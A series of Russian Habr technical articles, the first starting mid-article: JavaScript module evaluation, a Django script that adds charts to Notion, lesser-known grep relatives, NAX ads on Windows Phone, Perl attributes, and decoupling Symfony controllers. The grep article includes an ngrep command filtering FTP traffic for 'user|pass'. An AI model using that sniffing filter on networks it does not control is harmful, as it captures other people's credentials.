После вдумчивого чтения спецификации становится понятным, что JavaScript-модули при импорте выполняются лишь один раз. А при импорте модуля с использованием одного и того же пути возвращается один и тот же экземпляр модуля.
Вернёмся к нашему вопросу.
Модуль `increment` всегда выполняется лишь один раз:
```
// increment.js
let counter = 0;
counter++;
export default counter;
```
Вне зависимости от того, сколько раз был импортирован модуль `increment`, выражение `counter++` вычисляется лишь один раз. Переменная `counter`, экспортируемая с использованием механизма экспорта по умолчанию, имеет значение `1`.
Теперь взглянем на модуль `consumer`:
```
// consumer.js
import counter1 from './increment';
import counter2 from './increment';
counter1; // => 1
counter2; // => 1
```
В командах `import counter1 from './increment'` и `import counter2 from './increment'` используется один и тот же путь — `'./increment'`. В результате оказывается, что импортируется один и тот же экземпляр модуля.
Получается, что в переменные `counter1` и `counter2` в `consumer` записано одно и то же значение 1.
Итоги
-----
Исследовав простой вопрос, мы смогли узнать подробности о том, как выполняются и импортируются JavaScript-модули.
Правила, используемые при импорте модулей, довольно просты: один и тот же модуль выполняется лишь один раз. Другими словами, то, что находится в области видимости уровня модуля, выполняется лишь один раз. Если модуль, уже однажды выполненный, импортируют снова, то его повторное выполнение не производится. При импорте модуля используется то, что было получено в результате предыдущего сеанса выяснения того, что именно он экспортирует.
Если модуль импортируют несколько раз, но спецификатор модуля (путь к нему) при этом остаётся одним и тем же, то спецификация JavaScript гарантирует то, что импортирован будет один и тот же экземпляр модуля.
**Уважаемые читатели!** Как часто вы прибегаете к чтению спецификации JavaScript, выясняя особенности функционирования неких языковых конструкций?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/492504/ | null | ru | null |
# Добавляем графики в Notion
Многим не хватает графиков в Notion'e. Поэтому я решил напилить автоматическую штуку для их генерации.
**Вот как это выглядит с моей стороны:**
Всех интересующихся, как это реализовано, прошу под кат.
### Часть 1. Постановка проблемы
Проблема, собственно, в том, что графиков в Notion'е нет, и информацию из таблички просто так визуализировать нельзя (а хочется). Соответственно, надо создать такую штуку, которая:
1. Будет брать список страниц, где потенциально могут быть графики
2. Будет из этих страниц собирать описание графика. Описания должны быть на страницах из-за понятности для читателя страницы + чтобы слишком часто не залезать в код исправлять.
3. Будет добавлять график сразу после его описания, удаляя предыдущую версию графика.
4. Будет делать это автоматически (раз в час), и, желательно, бесплатно.
### Часть 2. Раскладываем по полочкам
Писать будем сервер на Django. Именно Django, потому что неофициальная либа для API Notion'a написана на питоне. Потом это все дело выгружаем на Heroku. Из IFTTT будем дергать нашу штуку на Heroku с определенной периодичностью.
### Часть 3. Разбираемся, что нам нужно написать
1. Метод для того, чтобы отвечать на запрос от IFTTT
2. Метод для прочесывания страниц Notion'a и поиска описаний графиков
3. Метод для доставания данных для графика из таблицы
4. Метод для рисования графика и его добавления на страницу
### Часть 4. Пишем код
Идем в Notion, жмякаем Ctrl + Shift + J, идем в Application -> Cookies, копируем token\_v2 и называем его TOKEN. Это нужно для того, чтобы библиотека могла как-то взаимодействовать с API Notion'a.
Нам нужно как-то хранить список страниц, где потенциально может встретиться описание для графиков. Хранить мы это дело будет просто:
```
PAGES = [
"https://www.notion.so/mixedself/Dashboard-40a3156030fd4d9cb1935993e1f2c7eb"
]
```
Для того, чтобы как-то распарсить само описание, нам нужны ключевые слова для:
1. Поля, данные которого будут у нас на оси X
2. Поля, данные которого будут у нас на оси Y
3. Урл на табличку
Выглядеть это будет вот так:
```
BASE_KEY = "Base:"
X_AXIS_KEY = "X axis:"
Y_AXIS_KEY = "Y axis:"
```
То есть пустое описание графика у нас будет выглядеть как-то вот так:
```
def get_empty_object():
return {
"database": "",
"x": "",
"y": ""
}
```
Еще нам нужно как-то проверять, пустое ли описание. Для этого напилим специальную функцию. Если у нас все поля не пустые, тогда объект полный и мы можем приступать к отрисовке графика.
```
def is_not_empty(thing):
return thing != ""
def check_for_completeness(object):
return is_not_empty(object["database"]) and is_not_empty(object["x"]) and is_not_empty(object["y"])
```
Данные (это просто текст по факту) для того, чтобы сгенерировать описание, надо как-то очищать. Напишем для этого парочку функций. Небольшое пояснение: Notion хранит жирный шрифт (как на картинке над катом) \_\_воттаквот\_\_.
```
def br_text(text):
return "__" + text + "__"
def clear_text(text):
return text.replace(br_text(BASE_KEY), "").replace(BASE_KEY, "") \
.replace(br_text(X_AXIS_KEY), "").replace(X_AXIS_KEY, "") \
.replace(br_text(Y_AXIS_KEY), "").replace(Y_AXIS_KEY, "").strip()
```
Теперь напишем, пожалуй, главную функцию для нашей штучки. Под кодом пояснение, что тут происходит:
```
def plot():
client = NotionClient(token_v2=TOKEN)
for page in PAGES:
blocks = client.get_block(page)
thing = get_empty_object()
for i in range(len(blocks.children)):
block = blocks.children[i]
print(block.type)
if block.type != "image":
title = block.title
if BASE_KEY in title:
thing["database"] = clear_text(title).split("](")[0].replace("[", "")
elif X_AXIS_KEY in title:
thing["x"] = clear_text(title)
elif Y_AXIS_KEY in title:
thing["y"] = clear_text(title)
if check_for_completeness(thing):
# not last block
if i != len(blocks.children) - 1:
next_block = blocks.children[i + 1]
# if next block is picture, then it is previous
# version of the plot, then we should remove it
if blocks.children[i + 1].type == "image":
next_block.remove()
draw_plot(client, thing, block, blocks)
thing = get_empty_object()
```
Мы подключаем нашу библиотеку к Notion'у. Потом проходимся по массиву страниц, где у нас потенциально могут быть нужны графики. Каждую строчку страницы мы проверяем: есть ли там один из наших ключей или нет. Если вдруг есть — чистим оттуда текст и кладем в объект. Как только объект заполнится, мы проверяем, был ли уже тут сгенерированный график (если да, то удаляем) и идем рисовать новый график.
Далее напишем функцию для собирания данных из таблички.
```
def get_lines_array(thing, client):
database = client.get_collection_view(thing["database"])
rows = database.default_query().execute()
lines_array = []
for i in range(1, len(rows)):
previous_row = rows[i - 1]
current_row = rows[i]
line = [(get_point_from_row(thing, previous_row)), (get_point_from_row(thing, current_row))]
lines_array.append(line)
return lines_array
```
Тут мы добываем базу, получаем все ее строки и проходимся по всем строкам, формируя набор линий от точки до точки.
А что такое get\_point\_from\_row? Дело в том, что если у нас объект — это дата (часто ведь надо на оси X отображать именно дату), то ее просто так не отобразить, и надо ее дополнительно обработать:
```
def get_point_from_row(thing, row):
x_property = row.get_property(thing["x"])
y_property = row.get_property(thing["y"])
if thing["x"] == "date":
x_property = x_property.start
if thing["y"] == "date":
y_property = y_property.start
return x_property, y_property
```
Теперь мы тащемта готовы к тому, чтобы отрисовать наш график.
```
def draw_plot(client, thing, block, page):
photo = page.children.add_new(ImageBlock)
photo.move_to(block, "after")
array = get_lines_array(thing, client)
print(array)
for i in range(1, len(array)):
points = reparse_points(array[i - 1:i][0])
plt.plot(points[0], points[1], color="red")
if not path.exists("images"):
os.mkdir("images")
if thing["x"] == "date":
x_axis_dates()
filename = "images/" + random_string(15) + ".png"
plt.savefig(filename)
print("Uploading " + filename)
photo.upload_file(filename)
```
Здесь мы добавляем новый блок (с фото), перемещаем его под описание графика. Потом репарсим точки (об этом — ниже), отрисовываем линии с помощью matplotlib, сохраняем полученное изображение с рандомным имененм файла и загружаем его в блок картинки.
Рандомное имя файла мы можем получить вот так:
```
def random_string(string_length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(string_length))
```
А точки нам надо репарсить из-за того, что matplotlib на вход принимает представление данных отличное от того, как это у нас сейчас реализовано.
```
def reparse_points(points):
return [
[points[0][0], points[1][0]],
[points[0][1], points[1][1]],
]
```
Если присмотреться, в методе еще есть проверка, являются ли датой данные, которые у нас по оси Х. Если являются, тогда мы просто должны их корректно отобразить:
```
def x_axis_dates(ax=None, fig=None):
if ax is None:
ax = plt.gca()
if fig is None:
fig = plt.gcf()
loc = mdates.AutoDateLocator()
fmt = mdates.AutoDateFormatter(loc)
ax.xaxis.set_major_locator(loc)
ax.xaxis.set_major_formatter(fmt)
fig.autofmt_xdate()
```
Теперь напишем функцию, которая запустит новый тред, когда у нас придет POST-запрос.
Почему именно POST? На всякий случай, чтобы если вдруг к вам на огонек заглянет кто-то, скрипт не запустился.
Почему именно новый тред? IFTTT, который мы будем использовать как триггер для работы этой штуки, не любит, когда ответа от сервера надо ждать очень долго (а в нашем случае ждать может быть долго), и через какое-то время он может прекратить триггерить штукенцию.
```
@csrf_exempt
def index(request):
if request.method == "POST":
thread = Thread(target=plot)
thread.start()
return HttpResponse("Hello, world.")
else:
return HttpResponse("Hello, world.")
```
### Часть 5. IFTTT
Переходим на вкладку создания апплетов. Выбираем триггер (в нашем случае — это Date&time), ставим „каждый час“. Выбираем триггерируемым (то есть „that“) Webhook, указываем наш (пока что) локальный адрес, дабы потестить. Ну и все. Тестим.
### Загружаем на Heroku
Вы думали, для чего мы возились с вот с этим триггерением со стороны IFTTT — это для того, чтобы не платить. Heroku предлагает бесплатный тариф для хостинга нашей штучки. Главное — чтобы сервис спал минимум 6 часов. А он точно будет спать, потому что мы его зовем работать каждый час, а не каждую минуту.
Далее делаем следующее. Идем в heroku [создавать новый проект](https://dashboard.heroku.com/new-app). Далее устанавливаем на свою операционную систему [их клиент](https://devcenter.heroku.com/articles/heroku-cli). А потом делаем все согласно инструкциям, появившимся после создания приложения.
Загрузив все на heroku, переходим в наш апплет и редактируем урл на новый.
### Часть 5. IFTTT
Спасибо всем, кто дочитал до этого места. Надеюсь, эта статья вам чем-то помогла.
Можете почитать две другие мои статьи про Notion:
[Автоматически экспортируем Google Forms в Notion с помощью IFTTT и Django](https://habr.com/ru/post/455714/)
[Делаем домашнюю библиотеку с Notion и Python](https://habr.com/ru/post/467009/) | https://habr.com/ru/post/485542/ | null | ru | null |
# Grep все, что можно
Про `grep` знают если не все, то [многие читатели Хабра](https://habrahabr.ru/post/229501/), однако его многочисленных родственников знают немногие.
Давайте узнаем, как можно грепать все, что таит в себе хоть крупицу текста.
pgrep
-----
Команда `pgrep` грепает список исполняемых процессов.
```
(5:573)$
pgrep bash
1772
11003
20678
```
С ключом `-a`, команда также выдаст всю командную строку.
```
(5:574)$
pgrep -af bash
1772 -bash
11003 /bin/bash
20678 /bin/bash
23567 -bash
```
Если правильно комбинировать `ps` и `pgrep`, то результат будет пожалуй удобнее, чем `ps -ef |grep process_name`, так как не содержит саму команду `grep`.
```
(5:575)$ ps wup $(pgrep bash)
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1772 0.0 0.0 21572 3020 tty1 S+ ноя19 0:00 -bash
user 11003 0.0 0.0 21384 3772 pts/3 Ss ноя28 0:00 /bin/bash
user 20678 0.0 0.0 21396 3604 pts/1 Ss+ ноя24 0:00 /bin/bash
root 23567 0.0 0.0 21364 3016 tty2 S+ ноя21 0:00 -bash
946/7720MB 0.48 0.94 1.00 1/352 20403
```
zipgrep, zfgrep, bzfgrep, xzfgrep
---------------------------------
Можно искать ключевое слово, паттерн напрямую из архива с помощью этих команд.
```
(5:576)$ zipgrep -i exception apptrace.zip
jboss.stderr:java.lang.NumberFormatException: For input string: "4718-4e99-bc84-828a7bf7f254"
jboss.stderr: at java.lang.NumberFormatException.(NumberFormatException.java:65)
(5:576)$
(5:576)$ bzfgrep -w bugs /usr/share/doc/coreutils-8.25/README.bz2
that distribution and found and reported bugs.
.
see .
Reporting bugs:
subtle bugs.
When reporting bugs, please include in the subject line both the package
```
Утилиты поддерживают *расширенные регулярные выражения* и имеют свой аналог `egrep`.
| Fixed Strings | Basic RegExps | Extended RegExps |
| --- | --- | --- |
| zfgrep | zgrep | zegrep |
| bzfgrep | bzgrep | bzegrep |
| xzfgrep | xzgrep | xzegrep |
Каким пакетам они принадлежат?
```
(5:777)$ equery belongs $(which zgrep zipgrep bzgrep xzgrep)
* Searching for /usr/bin/zgrep,/usr/bin/zipgrep,/usr/bin/bzgrep,/usr/bin/xzgrep ...
app-arch/bzip2-1.0.6-r7 (/usr/bin/bzgrep)
app-arch/gzip-1.8 (/usr/bin/zgrep)
app-arch/unzip-6.0_p20 (/usr/bin/zipgrep)
app-arch/xz-utils-5.2.2 (/usr/bin/xzgrep)
```
Сравниваем с `grep` способность парсить расширенные регулярки и радуемся результату.
```
(5:578) grep -oE '\b[0-9]{1,3}(\.[0-9]{1,3}){3}\b' /var/log/emerge.log |tail -n 3
7.2.6.8
213.180.204.183
213.180.204.183
(5:579)
(5:579) bzegrep -o '\b[0-9]{1,3}(\.[0-9]{1,3}){3}\b' /tmp/emerge.log.bz2 |tail -n3
7.2.6.8
213.180.204.183
213.180.204.183
```
pdfgrep
-------
Программа идет с одноименным пакетом.
```
(5:580)$ eix pdfgrep
[I] app-text/pdfgrep
Доступные версии: 1.3.2 1.4.1-r1 {+pcre test unac}
Установленные версии: 1.4.1-r1(14:10:46 29.11.2016)(pcre -test -unac)
Домашняя страница: http://pdfgrep.org/
Описание: A tool similar to grep which searches text in PDFs
```
Команда парсит pdf файлы и делает все то, что положено `grep`.
```
(5:581)$ pdfgrep -i outdiscards ebook/linux_netw.pdf
IP6_INC_STATS(net, ip6_dst_idev(dst), IPSTATS_MIB_OUTDISCARDS);
```
`Pdfgrep` не поддерживает *расширенные регулярные выражения*, тем не менее это *очень полезная программа*. Я довольно часто открываю pdf-ки и ищу в них текст, пока не вспомню в какой книге было то, что мне нужно и так теряю уйму времени. Теперь буду знать.
dgrep
-----
Дебианщикам может быть знаком `dgrep`, который идет с пакетом [debian goodies](http://packages.debian.org/debian-goodies). Команда вызывается так же как и обычный `grep`, только вместо файла указывается название пакета.
| Fixed Strings | Basic RegExps | Extended RegExps |
| --- | --- | --- |
| dfgrep | dgrep | degrep |
| - | dzgrep | - |
Верхние три ищут в текстовых файлах, а `dzgrep` — в архивных.
msggrep, mboxgrep
-----------------
Это совсем уже узко специализированная штуковина, чтобы парсить каталоги локализации. Идет в комплекте с пакетом [gettext](https://www.gnu.org/software/gettext/). Программа не из разряда пользовательских, но если очень нужно, можно запустить с командной строки.
```
(5:752)$ msggrep -K -e help /usr/share/locale/ru/cups_ru.po
```
**И получить такой вывод на экран**
```
msgid ""
msgstr ""
"Project-Id-Version: CUPS 2.0\n"
"Report-Msgid-Bugs-To: http://www.cups.org/str.php\n"
"POT-Creation-Date: 2015-07-20 14:24-0400\n"
"PO-Revision-Date: 2015-01-28 12:00-0800\n"
"Last-Translator: Aleksandr Proklov\n"
"Language-Team: PuppyRus Linux Team\n"
"Language: Russian\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
msgid " --help Show help."
msgstr " --help Показать справку."
msgid " --help Show this help."
msgstr " --help Показать эту справку."
```
Следующий экспонат — парсер почтовых ящиков **mboxgrep**. [Проект](http://www.mboxgrep.org/) так и не взлетел, его разработка прекращена. По идее он должен был находить паттерны в письмах и обрабатывать вывод так как будто это отдельные файлы. Однако, для начала он эти паттерны должен уметь находить.
```
(5:753)$ grep Inomics docs/PocoMail.bak/Mail/Trash.mbx
From: Inomics
Reply-To: Inomics
Subject: Inomics Alert Service
following is a list of new job openings in Inomics, the=
Inomics!
You can always unsubscribe from the Inomics Job Alert service by=
plying to this mail with the words "Inomics-Job-Unsub#1avwnr55di"=
```
А он не находит.
```
(5:754)$ mboxgrep Inomics docs/PocoMail.bak/Mail/Trash.mbx
(5:755)$
```
Что странно, системные вызовы `read` все время одни и те же, вне зависимости от поиска.
```
(5:779)$ strace -e trace=read -o strace_inomics mboxgrep Inomics Mail/Trash.mbx
(5:780)$ strace -e trace=read -o strace_freenet mboxgrep freenet Mail/Trash.mbx
(5:781)$ diff strace_inomics strace_freenet;md5sum strace_*
14b7de546a2a776006ad2a6440b680fd strace_freenet
14b7de546a2a776006ad2a6440b680fd strace_inomics
```
Любопытно было бы узнать, завелась ли данная программа успешно у кого-нибудь?
Ну ладно, мы увлеклись, а греп семейство еще не инвентаризировано полностью.
ssgrep
------
Нужно установить пакет [Gnumeric](http://www.gnumeric.org/). Умеет шерстить электронные таблицы, в том числе проприетарный Excel формат. Ругается на него, но делает.
```
(5:782)$ ssgrep Date files/*.xlsx
Неопределённый индикатор числового формата "43"
Неопределённый индикатор числового формата "41"
Неопределённый индикатор числового формата "44"
Неопределённый индикатор числового формата "42"
Unexpected element 'workbookProtection' in state: workbook
Дата рождения/Date of Birth
(5:783)$ grep Date files/*.xlsx
(5:784)$
```
Расширенные регулярные выражения не поддерживает. Вполне полезная штука, *рекомендую*.
ngrep
-----
Еще один [заброшенный проект на SourceForge](http://ngrep.sourceforge.net/). Программа представляет из-себя гибрид `tcpdump` и `grep`, причем к первому гораздо ближе, чем ко второму.
Наблюдение за сетевым трафиком по порту `syslog` и ключевому слову.
```
$ ngrep -d any 'error' port syslog
```
Наблюдение за сетевым трафиком по порту `ftp` и ключевым словам без учета регистра, сравнивать слова целиком.
```
$ ngrep -wi -d any 'user|pass' port 21
```
По-строчный вывод `http` трафика.
```
$ ngrep -W byline port 80
interface: eth0 (64.90.164.72/255.255.255.252)
filter: ip and ( port 80 )
####
T 67.169.59.38:42177 -> 64.90.164.74:80 [AP]
GET / HTTP/1.1.
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686) Opera ...
Host: www.darkridge.com.
Accept: text/html, application/xml;q=0.9, application/xhtml+xml;q=0.9 ...
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1.
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0.
Cookie: SQMSESSID=5272f9ae21c07eca4dfd75f9a3cda22e.
Cookie2: $Version=1.
Cache-Control: no-cache.
Connection: Keep-Alive, TE.
TE: deflate, gzip, chunked, identity, trailers.
```
А еще есть **киллер-фича**. Можно задать hex строку, которой `ngrep` сопоставляет бинарные данные пакета. Например, можно задать сигнатуру завирусованной гифки, чтобы затем настроить файрвол на раннее обнаружение.
```
$ ngrep -xX '0xc5d5e5f55666768696a6b6c6d6e6' port 80
interface: eth0 (64.90.164.72/255.255.255.252)
filter: ip and ( port 80 )
match: 0xc5d5e5f55666768696a6b6c6d6e6
```
Жаль, что разработка проекта прекращена, может в итоге получиться вполне годный ~~самоворо-паровозо-вертолет~~ парсер и анализатор сетевого трафика.
deepgrep
--------
Под конец можно помянуть не-юниксвейные агрегаты поиска, такие как `deepgrep` от KDE [strigi-utils](http://packages.debian.org/strigi-utils).
Программа умеет ~~шукать~~ искать в файлах формата:
* `tar`
* `ar` / `deb`
* `rpm` (но не `cpio`)
* `gzip/gz`
* `bzip2/bz2`
* `zip`, а значит и jar/war а также документы OpenOffice.org/LibreOffice
* MIME сообщения (т.е. прикрепленные файлы в емайле)
Умеет искать в архивах, *вложенных друг в друга*.
```
$ deepgrep bar foo.ar
foo.ar/foo.tar/foo.tar.gz/foo.zip/foo.tar.bz2/foo.txt.gz/foo.txt:foobar
foo.ar/foo.tar/foo.tar.gz/foo.zip/foo.tar.bz2/foo.txt.gz/foo.txt:bar
```
Из недостатков.
* Практически отсутствуют опции командной строки.
* Плохо документирована.
* Код возврата никак не связан с результатом поиска.
* Отсутствует поддержка сжатия с использование LZMA алгоритма: `lzma, xz, lzip, 7z` а также `lzop, rzip, cab. cpio, xar, rar, .Z` форматы.
### Использованные материалы
* [grep everything](http://noone.org/blog/English/Computer/Shell/grep%2520everything.html)
* [deppgrep: grep nested archives with one command](http://noone.org/blog/English/Computer/Debian/CoolTools/deepgrep.html)
* [ngrep — network grep](http://ngrep.sourceforge.net/usage.html) | https://habr.com/ru/post/316414/ | null | ru | null |
# Внедрение рекламы в приложение для Windows Phone 8 при помощи NAX
В этой статье мы покажем пример практического использования Nokia Ad Exchange (NAX) на базе технологии [Inneractive](http://www.inner-active.com/)
.
NAX дает доступ к крупнейшим сетям обмена рекламными объявлениями, для получения заработанных денег потребуется только аккаунт PayPal.
Основные особенности NAX:
— Доступ к более чем 120 рекламным сетям с одним SDK.
— Выплаты доступны более чем в 200 странах мира.
— Возможность самостоятельно регулировать рекламную кампанию по продвижению своего приложения.
— Функциональная панель управления рекламой.
— NAX для разработчиков ПО бесплатен.
Для начала использования NAX требуется [зарегистрироваться](https://nax.nokia.com/) и загрузить SDK на странице с инструментами разработки для Windows Phone 8.
Настоятельно рекомендуем ознакомиться с файлом Ad Placement Strategy.html в папке Documentation, в котором рассматриваются варианты размещения рекламного блока. Выбранное расположение существенно влияет на полученную от рекламы прибыль.
##### Размещение файла рекламы в проекте Windows Phone
Из папки InneractiveAdSDK распакованного SDK необходимо скопировать файлы в корневую папку вашего проекта Visual Studio (размещение в корневую директорию нужно для простоты, файлы могут быть помещены и просто в отдельную папку):
— Inneractive.Ad.dll,
— InneractiveAdLocation.cs (этот файл следует извлекать только в том случае, если вы хотите использовать в своем WP приложении рекламу, учитывающую местоположение).
Затем откройте в Visual Studio пункт Add/Existing Item и выберите оба файла.
##### Регистрация файла Inneractive.Ad.dll
Теперь зарегистрируйте файл Inneractive.Ad.dll. Для этого используйте References/Add Reference, затем нажмите кнопку Browse и найдите файл dll в папке Windows Phone. После успешного добавления файла dll потребуется эта ссылка:
Если появляется ошибка добавления ссылки «A reference to a higher version or incompatible assembly cannot be added to the project», это означает, что необходимо разблокировать файл dll. Для этого в свойствах файла нужно зайти на вкладку «Безопасность» и выбрать вариант «Разблокировать», затем — «Применить».
##### Включаем Capabilities
Для работы NAX в приложении следует включить необходимые capabilities. Для этого в файле Properties/WMAppManifest.xaml отметьте следующие чекбоксы в разделе Capabilities:
ID\_CAP\_LOCATION
ID\_CAP\_NETWORKING
ID\_CAP\_WEBBROWSERCOMPONENT
ID\_CAP\_PHONEDIALER
ID\_CAP\_IDENTITY\_DEVICE
##### Отображение рекламного баннера NAX в Xaml
Для начала добавьте управляющий элемент в Xaml для определения позиции баннера. Мы задействуем управляющий элемент StackPanel, используя Grid:
```
```
Список доступных разрешений баннера:
• 300 x 50
• 320 x 53
• 300 x 250 (Прямоугольник)
• 320 x 480 (Полный экран)
В этом примере мы добавляем баннер размером 320\*53 пикселя внизу страницы, используя Grid.
Вот результат:
*Nax-баннер, внедренный в приложение для Windows Phone*
##### Код C# для NAX
После добавления управляющего элемента в Xaml нужно написать немного кода на C#. Для этого сначала добавьте два пространства имен на страницу, где будет размещаться реклама. В данном случае это MainPage.xaml.cs.
```
using Inneractive.Nokia.Ad;
using InneractiveAdLocation;
```
Также нелишним будет добавить третье:
```
using Microsoft.Phone.Net.NetworkInformation;
```
NetworkInformation необходимо для проверки доступности интернет-соединения с помощью метода: DeviceNetworkInformation.IsNetworkAvailable.
Затем установите optionalParams перед основным конструктором в классе. Вся логика в двух методах: MainPage\_Loaded() и iaLocation\_Done().
```
public partial class MainPage : PhoneApplicationPage
{
Dictionary optionalParams;
// Constructor
public MainPage()
{
InitializeComponent();
// Sample code to localize the ApplicationBar
//BuildLocalizedApplicationBar();
this.Loaded += new RoutedEventHandler(MainPage\_Loaded);
}
private void MainPage\_Loaded(object sender, RoutedEventArgs e)
{
if (DeviceNetworkInformation.IsNetworkAvailable)
{
// Watch location
IaLocationClass iaLocation = new IaLocationClass();
iaLocation.Done += new System.EventHandler(iaLocation\_Done);
iaLocation.StartWatchLocation();
optionalParams = new Dictionary();
optionalParams.Add(InneractiveAd.IaOptionalParams.Key\_OptionalAdWidth, "320"); //ad width
optionalParams.Add(InneractiveAd.IaOptionalParams.Key\_OptionalAdHeight, "53"); //add height
}
//Show Add Banner. Remarks: pay attention to use Application Id from NAX
if (optionalParams != null)
{
InneractiveAd iaBanner = new InneractiveAd("ApplicationId", InneractiveAd.IaAdType.IaAdType\_Banner, 30, optionalParams);
nax\_control.Children.Add(iaBanner);
}
}
void iaLocation\_Done(object sender, IaLocationEventArgs e)
{
try
{
// Add location, if received
if (e != null && e.location != null)
optionalParams.Add(InneractiveAd.IaOptionalParams.Key\_Gps\_Coordinates, e.location);
}
catch (Exception ex)
{
System.Diagnostics.Debug.WriteLine("Error: " + ex.ToString());
}
}
}
```
##### Создание AppId
ApplicationId\_NAX генерируется на сайте nax.nokia.com в пункте Add App.
Вам потребуется ввести следующую информацию:
• Мобильная платформа.
• Название приложения.
• Категория.
• Использует ли приложение сведения о местоположении.
После этого вы получите сгенерированный Application Id для вашего приложения. Эта информация будет нужна для отслеживания вашей рекламы в панели управления NAX.
Вот как выглядит сгенерированный AppID, который будет использован в приложении:
*Сгенерированный AppID, который необходимо указать в коде C#.*
Вот и все.
Желаем успешных заработков с использованием рекламы Nokia NAX! | https://habr.com/ru/post/184194/ | null | ru | null |
# Атрибуты: введение
Атрибуты появились в Perl довольно давно. Знаменательная для старожилов версия Perl 5.005 содержала довольно бесполезную прагму `attrs`. Прагма эта позволяла навесить на функцию пару встроенных атрибутов, для чего требовалось указать внутри этой функции `use attrs` с соответствующими параметрами. Правда, уже в марте 2000 года в Perl 5.6 эта прагма была объявлена deprecated. На замену ей пришел модуль `attributes`, а также расширенный синтаксис для объявления переменных/функций. Стало возможным создавать для них собственные метки и вводить для этих меток обработчики. По непонятным причинам, популярность атрибуты так и не получили. А жаль.
#### Ближе к сути
Сейчас их наверняка назвали бы не атрибутами, а тегами. Выглядит все просто — к объявляемой переменной или функции можно дописать несколько меток. Есть несколько стандартных для Perl атрибутов, но можно вводить и свои собственные. Встроенные атрибуты записываются строчными буквами, и потому использовать такой регистр для пользовательских меток не рекомендуется — во избежание накладок в будущем и варнингов в настоящем.
Синтаксис атрибутов достаточно понятен:
`my $myVar : myAttribute = 10;
sub mySub : myAttribute1 : myAttribute2 {:}`
Интерпретатор не накладывает ограничений на наличие пробела между двоеточием и названием атрибута, лично мне кажется более наглядным, когда они записаны слитно.
Атрибуты можно навешивать на функции и на переменные — скаляры, хеши, массивы.
#### Для чего это нужно
За примерами ходить недалеко — на CPAN живет группа модулей, объединенных под именем `Attribute::Util`. Я не буду комментировать возможность их применения в реальных проектах, но как простая и наглядная иллюстрация — это то, что нужно.
Первый из них, `Attribute::Abstract`, предлагает замену для классического описания абстрактных методов. Обратите на него внимание, если у вас есть подобные объявления:
`sub myMethod { die "Abstract method called!"; }`
Предлагаемый им синтаксис гораздо нагляднее:
`sub myMethod: Abstract;`
Второй класс, `Attribute::Memoize`, позволяет добавить кеширование к функциям, которые возвращают постоянный результат для одинаковых наборов аргументов. Конечно, завернуть код функции в `if`-блок труда не составит, но опять же — можно просто пометить функцию атрибутом `:Memoize` и знать, что ее результат кешируется.
Третий класс, `Attribute::Method`, позволяет избавиться от написания первой строки практически любого метода:
`my $self = shift;`
Просто ставим к методу атрибут `:Method`, и `$self` появляется сам собой. Кроме того, можно указать, какие аргументы переданы методу — тогда они тоже будут проинициализированы:
`sub myMethod :Method($x) { print "self=$self, x=$x\n" }`
Интересно? Тогда не забудьте заглянуть в исходный код модулей.
**UPD**: продолжение статьи: [Атрибуты: взгляд внутрь](/blogs/perl/53455/) | https://habr.com/ru/post/53451/ | null | ru | null |
# Как делать независимые от фреймворка контроллеры?
Обычно считается, что контроллеры — наиболее связанные классы в приложении. Как правило, на основании данных запроса они получают или сохраняют данные в базу данных, затем превращают данные или результат сохранения в HTML, который выступает в качестве ответа клиенту, который произвел запрос.
Получается, что контроллеры — повсюду, они соединяют те части приложения, которые обычно достаточно независимы друг от друга. Это сильно повышает связанность контроллеров: среди их зависимостей есть менеджер сущностей Doctrine, шаблонизатор Twig, базовый контроллер из FrameworkBundle, и прочее.
В этой записи я покажу, что этот уровень связанности совершенно не нужен. Я покажу вам, как значительно понизить связанность, предприняв всего несколько простых шагов. В результате мы получим контроллер, который можно будет повторно использовать в разных типах приложений, например, на базе Silex или даже Drupal.
#### Часть I: не используйте стандартные контроллеры
##### Излишняя связанность: наследование от базового контроллера
В основном, классы контроллеров, с которыми я сталкиваюсь, наследуют от класса Controller из FrameworkBundle:
```
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
class MyController extends Controller
{
...
}
```
Базовый класс контроллера добавляет несколько полезных сокращений, вроде createNotFoundException() и redirect(). А еще он автоматически делает ваш контроллер наследником ContainerAware («осведомленным» о контейнере), в результате чего в контроллер будет автоматически инъектироваться контейнер внедрения зависимостей (Dependency Injection Container, DIC). Из контейнера можно будет получить любой нужный вам сервис.
##### Не используйте вспомогательные методы!
Всё это, конечно, кажется очень удобным, но если чуть меньше лениться, можно заметно понизить связанность. Нет ничего страшного в том, чтобы выкинуть эти вспомогательные методы: тела большинства из них все равно состоят всего из одной строки (посмотрите в базовый контроллер, чтобы понять, что происходит там на самом деле!). Вы запросто можете заменить вызовы этих методов кодом из них:
```
class MyController extends Controller
{
public function someAction()
{
// было:
throw $this->createNotFoundException($message);
// стало:
throw new NotFoundHttpException($message);
}
}
```
##### Используйте внедрение зависимостей
Если вы больше не используете вспомогательные методы из родительского класса контроллера, то можно сделать еще один шаг для избавления от этого ненужного на самом деле наследования. Вместо того, чтобы получать зависимости из контейнера, инъектируйте их вручную в конструкторе:
```
class MyController extends Controller
{
public function someAction()
{
$this->get('doctrine')->getManager(...)->persist(...);
}
}
// превратится в:
use Doctrine\Common\Persistence\ManagerRegistry;
class MyController extends Controller
{
public function __construct(ManagerRegistry $doctrine)
{
$this->doctrine = $doctrine;
}
public function someAction()
{
$this->doctrine->getManager(...)->persist(...);
}
}
```
##### Сделайте ваш контроллер сервисом
Вам также надо убедиться в том, что новый контроллер-сервис собирается не просто через вызов оператора new, как обычно поступает ControllerResolver, а все зависимости вашего контроллера корректно инъектируются. Для этого вам нужно объявить сервис:
```
services:
my_controller:
class: MyController
arguments:
- @doctrine
```
И настройки роутинга тоже надо поправить. Если вы пользуетесь аннотациями:
```
/**
* @Route(service="my_controller")
*/
class MyController extends Controller
{
...
}
```
И если ваш роутинг сохранен в YML-файле конфигурации:
```
my_action:
path: /some/path
defaults:
_controller: my_controller:someAction
```
